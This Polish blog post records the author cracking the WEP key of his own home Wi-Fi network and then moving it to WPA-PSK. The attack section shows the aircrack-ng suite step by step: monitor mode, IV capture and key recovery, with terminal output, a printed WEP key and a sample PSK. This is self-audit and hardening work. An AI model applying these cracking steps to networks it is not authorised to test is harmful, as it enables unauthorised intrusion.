Na święta znów przywiało mnie na opolski grunt. Tym razem na trochę dłużej. Ponieważ wybieram się z referatem w języku angielskim na
XXX OSCh organizowaną z ramienia
ASSChem mam podwójną motywację by podsumować moją dotychczasową pracę badawczą. Święta świętami, ale popracować też bym nad tym trochę chciał. Zabunkrowałem się więc z laptopem na balkonie.
Znam na tyle swoją rodzinę, by nie mówić im gdzie się schowałem - najlepiej pracuje mi się jak wokoło nikt się nie kręci. Wyjątkiem jest moja kotka Hilda (patrz zdj. wyż.). Zwykle jestem w domu tylko na kilka dni, ale skoro mam trochę czasu to dziś zabrałem się za konfigurację domowej sieci opartej o neostradowy router Livebox. Topologia mojej sieci wygląda następująco:
Komputer matki oraz siostry mają internet poprzez kartę ethernetową. Na moim komputerze stacjonarnym(developer) oraz laptopie(chochlik) używam na co dzień Archlinuksa z bezprzewodowym połączeniem do rutera. Do tej pory nie miałem czasu "babrać się w konfigach" na pingwinie, więc postawiłem sieć bezprzewodową z szyfrowaniem WEP. Tak, wiem - szyfrowanie sieci bezprzewodowej za pomocą WEP to jest prawie żadne zabezpieczenie, ale gdy to robiłem miałem inne rzeczy na głowie. Teraz postanowiłem to poprawić.
Playing with the fire
Nawet jeśli dziecku powiemy, że ogniem można się poparzyć, będzie się ono nim bawiło dopóki samo się nie oparzy i nie poczuje bólu. Z zabezpieczeniami komputerów jest podobnie. W zasadzie mamy je w d... domyśle dopóki się nam ktoś nie włamie, nie utracimy danych, nie zawirusujemy sobie maszyny... You get the point? Zgodnie z starą hackerską zasadą postanowiłem sprawdzić zabezpieczenia mojej domowej sieci... włamując się do niej! Bardzo się zdziwiłem wynikiem mojego eksperymentu (robiłem to po raz pierwszy). W pierwszej kolejności potrzebne mi były odpowiednie narzędzia - zainstalowałem więc pakiet aircrack-ng
# pacman -S aircrack-ng
i przystąpiłem do zabawy.
Pierwszym krokiem jest przełączenie interface'u sieciowego(w moim wypadku jest to wlan0) z trybu zarządzanego(Managed) na tryb monitoringu(Monitor), co pozwala na nasłuchiwanie ruchu w sieci bezprzewodowej. Ja w tym celu uruchomiłem polecenie
airmon-ng, które tworzy wirtualny interface mon0 działający w trybie monitoringu.
bash-3.2# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Ralink 2573 USB rt73usb - [phy0]
(monitor mode enabled on mon0)
bash-3.2# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wmaster0 no wireless extensions.
wlan0 IEEE 802.11g ESSID:""
Mode:Managed Frequency:2.427 GHz Access Point: Not-Associated
Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
mon0 IEEE 802.11g Mode:Monitor Frequency:2.427 GHz Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Kolejnym krokiem jest nasłuch ruchu sieciowego. Odpaliłem w tym celu airodump-ng z odpowiednimi opcjami:
bash-3.2# airodump-ng -i -w zapis_ruchu -c 4 mon0
- -i zapisuje tylko pakiety z IV'ami.
- -w zapisuje pakiety do pliku (zapis_ruchu.ivs).
- -c 4 włącza nasłuch odpowiedniego kanału wifi (na 4 działa moja sieć).
Wygląda to tak:
CH 4 ][ Elapsed: 28 s ][ 2009-04-13 19:56
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -66 100 270 0 0 4 54 WEP WEP OPN LightnirsAP
BSSID STATION PWR Rate Lost Packets Probe
By efektywnie łamać sieci szyfrowane za pomocą WEP trzeba przechwycić sporą ilość pakietów. Oczywiście istnieją
techniki do generowania odpowiedniego ruchu, ale ponieważ to raczej kwestia czasu postanowiłem sobie sprawę nieco ułatwić. Włączyłem na developerze transfer wyników moich obliczeń z uczelni. Po jakiś 40 minutach nazbierałem około 70 tysięcy pakietów i przystąpiłem do crackowania klucza.
bash-3.2# aircrack-ng -a 1 zapis_ruchu.ivs -n 128
Dla porównania tak wyglądał mój wpis odnośnie tego accespointa w pliku
wpa_suplicant.conf
# LightnirsAP
network={
ssid="LightnirsAP"
key_mgmt=NONE
wep_key0=345e2f6fcdfde135e9e7d9f4fe
wep_tx_keyidx=0
priority=5
}
Ładnie, ładnie - klucz złamany. Skoro ja jako nowicjusz w niecałą godzinę złamałem zabezpieczenia własnej sieci to co dopiero wprawiony w wojennej sztuce penetracji sieci haker mógłby zrobić? Zaczynam się bać.
Securing the net
W pierwszej kolejności za pomocą panelu administracyjnego zmieniłem szyfrowanie sieci na WPA-PSK-TKIP i ustawiłem nowy klucz. Zmieniłem też hasło dostępowe do samego panelu administracyjnego. Oczywiście jak przystało na produkty "Tepsy" podczas zapisu ustawień ruter się zawiesił i trzeba go było zrebootować... Ponieważ na obu maszynach używam
wpa_suplicant +
autowifi do konfiguracji sieci bezprzewodowej musiałem tylko wprowadzić stosowne zmiany w pliku
/etc/wpa_suplicant.conf. Wygodnym narzędziem jest tutaj skrypt wpa_passphrase generujące klucze na podstawie hasła np. truskawka.
bash-3.2# wpa_passphrase LightnirsAP truskawka
network={
ssid="LightnirsAP"
#psk="truskawka"
psk=c0a02ad935c3878facff559837d3f395d999f53d8e6eba5c74f95145066896c8
}
Poniższy wpis dla przykładowego hasła "truskawka" sprawdza się w moim przypadku.
# LightnirsAP
network={
ssid="LightnirsAP"
key_mgmt=WPA-PSK
pairwise=TKIP
group=TKIP
#psk="truskawka"
psk=c0a02ad935c3878facff559837d3f395d999f53d8e6eba5c74f95145066896c8
priority=5
}
Dodatkowo włączyłem filtrowanie adresów MAC dla sieci bezprzewodowej - zawsze to dodatkowe zabezpieczenie. Zastanawiam się co można by jeszcze zrobić by zapewnić dodatkowe bezpieczeństwo. W prawdzie obecne zabezpieczenia w zupełności wystarczą, ale zawsze warto dbać o usprawnianie zabezpieczeń sieci, w szczególności tych bezprzewodowych.
2 komentarze:
Można jeszcze włączyć filtrowanie po MACu na WiFi jeżeli Livebox to udostępnia no i wyłączyć SSID broadcast.
Filtrowanie MACu włączyłem dla dongli których używam na obu maszynach(por. post). Broadcastu SSID z poziomu panelu administracyjnego nie można wyłączyć. Być może, że byłaby taka opcja jeśli się pogrzebie bezpośrednio na konfigach rutera, ale raczej nie chce mi się w to bawić. Poza tym nie wiem czy to by miało sens. To tak jak z tym wbudowanym portem USB na tym ruterze. Niby fizycznie jest, ale z chwilą kiedy się pierwszy raz podpina do sieci ruter ściąga aktualizację firmware'u z tepsy, która niestety wyłącza port USB. Podejrzewam, że nawet jakbym coś ręcznie pozmieniał ruter by to nadpisał, najpóźniej przy jego restarcie. W tej chwili mam szyfrowanie TKIP, ale do wyboru jest jeszcze AES i chyba zmienię na to drugie, bo z tego co na razie wyczytałem ma ono dwa plusy:
1) daje większe bezpieczeństwo
2) szyfrowanie mniej obciąża zasoby sprzętowe.
Prześlij komentarz